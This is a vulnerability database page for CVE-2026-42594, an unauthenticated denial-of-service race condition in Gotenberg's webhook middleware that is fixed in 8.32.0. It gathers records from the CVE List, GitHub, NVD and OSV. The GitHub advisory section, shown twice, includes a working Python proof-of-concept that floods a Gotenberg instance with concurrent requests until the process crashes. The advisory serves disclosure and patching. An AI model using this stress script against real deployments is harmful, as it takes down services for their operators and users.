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CVE-2026-42594

Gotenberg: Unauthenticated denial of service via echo.Context pool reuse in webhook async goroutine

7.5 HighFix available

Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.32.0, the webhook middleware spawns a goroutine that holds a reference to the request's echo.Context after the synchronous handler returns ErrAsyncProcess and Echo recycles the context back to its sync.Pool. When a concurrent request claims the recycled context, c.Reset() clears the store. If the webhook goroutine reaches hardTimeoutMiddleware at that moment, an unchecked type assertion on a nil store entry panics outside any recover() scope, crashing the Gotenberg process. Any anonymous caller reaches the webhook path (default webhook-deny-list filters only the webhook destination, not the submitter). A single-source stress of ~24 webhook requests plus ~60 GET /version requests crashes the process in about two seconds. This vulnerability is fixed in 8.32.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

0.35%Up 0.3 points since May 15, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.5

Gotenberg: Unauthenticated denial of service via echo.Context pool reuse in webhook async goroutine

Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.32.0, the webhook middleware spawns a goroutine that holds a reference to the request's echo.Context after the synchronous handler returns ErrAsyncProcess and Echo recycles the context back to its sync.Pool. When a concurrent request claims the recycled context, c.Reset() clears the store. If the webhook goroutine reaches hardTimeoutMiddleware at that moment, an unchecked type assertion on a nil store entry panics outside any recover() scope, crashing the Gotenberg process. Any anonymous caller reaches the webhook path (default webhook-deny-list filters only the webhook destination, not the submitter). A single-source stress of ~24 webhook requests plus ~60 GET /version requests crashes the process in about two seconds. This vulnerability is fixed in 8.32.0.

Record
CVE-2026-42594
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-362
Updated
2026-11-02
EUVDEUVD-2026-30312 7.5

Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.32.0, the webhook middleware spawns a goroutine that holds a reference to the request's echo.Context after the synchronous handler returns ErrAsyncProcess and Echo recycles the context back to its sync.Pool. When a concurrent request claims the recycled context, c.Reset() clears the store. If the webhook goroutine reaches hardTimeoutMiddleware at that moment, an unchecked type assertion on a nil store entry panics outside any recover() scope, crashing the Gotenberg process. Any anonymous caller reaches the webhook path (default webhook-deny-list filters only the webhook destination, not the submitter). A single-source stress of ~24 webhook requests plus ~60 GET /version requests crashes the process in about two seconds. This vulnerability is fixed in 8.32.0.

Record
EUVD-2026-30312
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-r33j-c622-r6qp 7.5

Gotenberg has an unauthenticated denial of service via echo.Context pool reuse in webhook async goroutine

Summary

The webhook middleware spawns a goroutine that holds a reference to the request's echo.Context after the synchronous handler returns ErrAsyncProcess and Echo recycles the context back to its sync.Pool. When a concurrent request claims the recycled context, c.Reset() clears the store. If the webhook goroutine reaches hardTimeoutMiddleware at that moment, an unchecked type assertion on a nil store entry panics outside any recover() scope, crashing the Gotenberg process. Any anonymous caller reaches the webhook path (default webhook-deny-list filters only the webhook destination, not the submitter). A single-source stress of ~24 webhook requests plus ~60 GET /version requests crashes the process in about two seconds.

Details

pkg/modules/webhook/middleware.go:338-382 starts the async goroutine and immediately returns api.ErrAsyncProcess to the caller:

w.asyncCount.Add(1)
go func() {
    defer cancel()
    defer w.asyncCount.Add(-1)

    err := next(c)                    // line 343
    ...
    sendOutputFile(sendOutputFileParams{ ctx: ctx, ... })
}()

return api.ErrAsyncProcess             // line 382

pkg/modules/api/middlewares.go:356-361 sees the sentinel, responds with 204 No Content, and lets Echo return c to the pool:

if errors.Is(err, ErrAsyncProcess) {
    return c.NoContent(http.StatusNoContent)
}

Echo's router calls c.Reset() before serving the next request from the same goroutine pool slot, wiping c.store. When the webhook goroutine's next(c) enters hardTimeoutMiddleware at pkg/modules/api/middlewares.go:396-398, the handler dereferences the store before the new recover scope exists:

return func(c echo.Context) error {
    logger := c.Get("logger").(*slog.Logger)   // line 398

    ...
    go func() {
        defer func() { if r := recover(); r != nil { ... } }()   // recover is scoped here
        errChan <- next(c)
    }()

If a concurrent request has just acquired c from the pool, c.Get("logger") returns nil, and nil.(*slog.Logger) panics at line 398. The panic is not inside any goroutine with a recover(), so the Go runtime terminates the process with exit code 2.

No echo.Recover middleware is registered (pkg/modules/api/api.go:480-536). GOTRACEBACK defaults propagate the panic to stderr and exit.

Proof of Concept

Reproduction on the stock Docker image with default configuration:

docker run -d --name gotenberg-poc -p 3000:3000 \
    -e GOTRACEBACK=all gotenberg/gotenberg:8 gotenberg --log-level=error

Single-process stress script (Alice sends both streams, no second actor):

import requests, subprocess, time, json, threading

TARGET  = "http://localhost:3000"
WEBHOOK = "http://httpbin.org/post"   # passes default webhook-deny-list
STOP    = threading.Event()
html    = b"<html><body><h1>Q</h1></body></html>"

def webhook_fire():
    s = requests.Session()
    while not STOP.is_set():
        try:
            s.post(
                f"{TARGET}/forms/chromium/convert/html",
                files={"files": ("index.html", html, "text/html")},
                headers={
                    "Gotenberg-Webhook-Url":       WEBHOOK,
                    "Gotenberg-Webhook-Error-Url": WEBHOOK,
                },
                timeout=15,
            )
        except: pass

def noise_fire():
    s = requests.Session()
    while not STOP.is_set():
        try: s.get(f"{TARGET}/version", timeout=2)
        except: pass

for _ in range(24): threading.Thread(target=webhook_fire, daemon=True).start()
for _ in range(60): threading.Thread(target=noise_fire,   daemon=True).start()

t0 = time.time()
while time.time() - t0 < 60:
    time.sleep(1)
    status = json.loads(subprocess.run(
        ["docker", "inspect", "gotenberg-poc"],
        capture_output=True, text=True, check=True).stdout)[0]["State"]
    if status["Status"] != "running":
        print(f"process crashed after {time.time()-t0:.1f}s, exit…
Record
GHSA-r33j-c622-r6qp
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-362
Updated
2026-11-02
NVD 7.5

Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.32.0, the webhook middleware spawns a goroutine that holds a reference to the request's echo.Context after the synchronous handler returns ErrAsyncProcess and Echo recycles the context back to its sync.Pool. When a concurrent request claims the recycled context, c.Reset() clears the store. If the webhook goroutine reaches hardTimeoutMiddleware at that moment, an unchecked type assertion on a nil store entry panics outside any recover() scope, crashing the Gotenberg process. Any anonymous caller reaches the webhook path (default webhook-deny-list filters only the webhook destination, not the submitter). A single-source stress of ~24 webhook requests plus ~60 GET /version requests crashes the process in about two seconds. This vulnerability is fixed in 8.32.0.

Record
CVE-2026-42594
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-362
Updated
2026-11-02
OSV 7.5

Gotenberg: Unauthenticated denial of service via echo.Context pool reuse in webhook async goroutine

Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.32.0, the webhook middleware spawns a goroutine that holds a reference to the request's echo.Context after the synchronous handler returns ErrAsyncProcess and Echo recycles the context back to its sync.Pool. When a concurrent request claims the recycled context, c.Reset() clears the store. If the webhook goroutine reaches hardTimeoutMiddleware at that moment, an unchecked type assertion on a nil store entry panics outside any recover() scope, crashing the Gotenberg process. Any anonymous caller reaches the webhook path (default webhook-deny-list filters only the webhook destination, not the submitter). A single-source stress of ~24 webhook requests plus ~60 GET /version requests crashes the process in about two seconds. This vulnerability is fixed in 8.32.0.

Record
CVE-2026-42594
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-362
Updated
2026-11-02
OSVGHSA-r33j-c622-r6qp 7.5

Gotenberg has an unauthenticated denial of service via echo.Context pool reuse in webhook async goroutine

Summary

The webhook middleware spawns a goroutine that holds a reference to the request's echo.Context after the synchronous handler returns ErrAsyncProcess and Echo recycles the context back to its sync.Pool. When a concurrent request claims the recycled context, c.Reset() clears the store. If the webhook goroutine reaches hardTimeoutMiddleware at that moment, an unchecked type assertion on a nil store entry panics outside any recover() scope, crashing the Gotenberg process. Any anonymous caller reaches the webhook path (default webhook-deny-list filters only the webhook destination, not the submitter). A single-source stress of ~24 webhook requests plus ~60 GET /version requests crashes the process in about two seconds.

Details

pkg/modules/webhook/middleware.go:338-382 starts the async goroutine and immediately returns api.ErrAsyncProcess to the caller:

w.asyncCount.Add(1)
go func() {
    defer cancel()
    defer w.asyncCount.Add(-1)

    err := next(c)                    // line 343
    ...
    sendOutputFile(sendOutputFileParams{ ctx: ctx, ... })
}()

return api.ErrAsyncProcess             // line 382

pkg/modules/api/middlewares.go:356-361 sees the sentinel, responds with 204 No Content, and lets Echo return c to the pool:

if errors.Is(err, ErrAsyncProcess) {
    return c.NoContent(http.StatusNoContent)
}

Echo's router calls c.Reset() before serving the next request from the same goroutine pool slot, wiping c.store. When the webhook goroutine's next(c) enters hardTimeoutMiddleware at pkg/modules/api/middlewares.go:396-398, the handler dereferences the store before the new recover scope exists:

return func(c echo.Context) error {
    logger := c.Get("logger").(*slog.Logger)   // line 398

    ...
    go func() {
        defer func() { if r := recover(); r != nil { ... } }()   // recover is scoped here
        errChan <- next(c)
    }()

If a concurrent request has just acquired c from the pool, c.Get("logger") returns nil, and nil.(*slog.Logger) panics at line 398. The panic is not inside any goroutine with a recover(), so the Go runtime terminates the process with exit code 2.

No echo.Recover middleware is registered (pkg/modules/api/api.go:480-536). GOTRACEBACK defaults propagate the panic to stderr and exit.

Proof of Concept

Reproduction on the stock Docker image with default configuration:

docker run -d --name gotenberg-poc -p 3000:3000 \
    -e GOTRACEBACK=all gotenberg/gotenberg:8 gotenberg --log-level=error

Single-process stress script (Alice sends both streams, no second actor):

import requests, subprocess, time, json, threading

TARGET  = "http://localhost:3000"
WEBHOOK = "http://httpbin.org/post"   # passes default webhook-deny-list
STOP    = threading.Event()
html    = b"<html><body><h1>Q</h1></body></html>"

def webhook_fire():
    s = requests.Session()
    while not STOP.is_set():
        try:
            s.post(
                f"{TARGET}/forms/chromium/convert/html",
                files={"files": ("index.html", html, "text/html")},
                headers={
                    "Gotenberg-Webhook-Url":       WEBHOOK,
                    "Gotenberg-Webhook-Error-Url": WEBHOOK,
                },
                timeout=15,
            )
        except: pass

def noise_fire():
    s = requests.Session()
    while not STOP.is_set():
        try: s.get(f"{TARGET}/version", timeout=2)
        except: pass

for _ in range(24): threading.Thread(target=webhook_fire, daemon=True).start()
for _ in range(60): threading.Thread(target=noise_fire,   daemon=True).start()

t0 = time.time()
while time.time() - t0 < 60:
    time.sleep(1)
    status = json.loads(subprocess.run(
        ["docker", "inspect", "gotenberg-poc"],
        capture_output=True, text=True, check=True).stdout)[0]["State"]
    if status["Status"] != "running":
        print(f"process crashed after {time.time()-t0:.1f}s, exit…
Record
GHSA-r33j-c622-r6qp
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-362
Updated
2026-11-02
OSVGO-2026-5605 No score

Gotenberg has an unauthenticated denial of service via echo.Context pool reuse in webhook async goroutine in github.com/gotenberg/gotenberg

Gotenberg has an unauthenticated denial of service via echo.Context pool reuse in webhook async goroutine in github.com/gotenberg/gotenberg

Record
GO-2026-5605
Updated
2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

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  • GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
  • GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
  • GO-2026-5969 GHSA-g936-7jqj-mwv8
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  • GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
  • GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
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Record
openSUSE-SU-2026:21483-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/gotenberg/gotenberg/v8
Go
 through 8.31.0
8.32.0
github.com/gotenberg/gotenberg/v8
Go
 before 8.32.0
8.32.0
github.com/gotenberg/gotenberg/v7
Go
 All versions None known
govulncheck-vulndb
openSUSE:Leap 16.0
From an advisory covering 1734 CVEs
 before 0.0.20260723T184607-160000.1.1
0.0.20260723T184607-160000.1.1

History

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In short

CVE-2026-42594 is a high vulnerability (CVSS 7.5) in Gotenberg, published May 7, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.35%, the 28th percentile. Fixed in github.com/gotenberg/gotenberg/v8 8.32.0.

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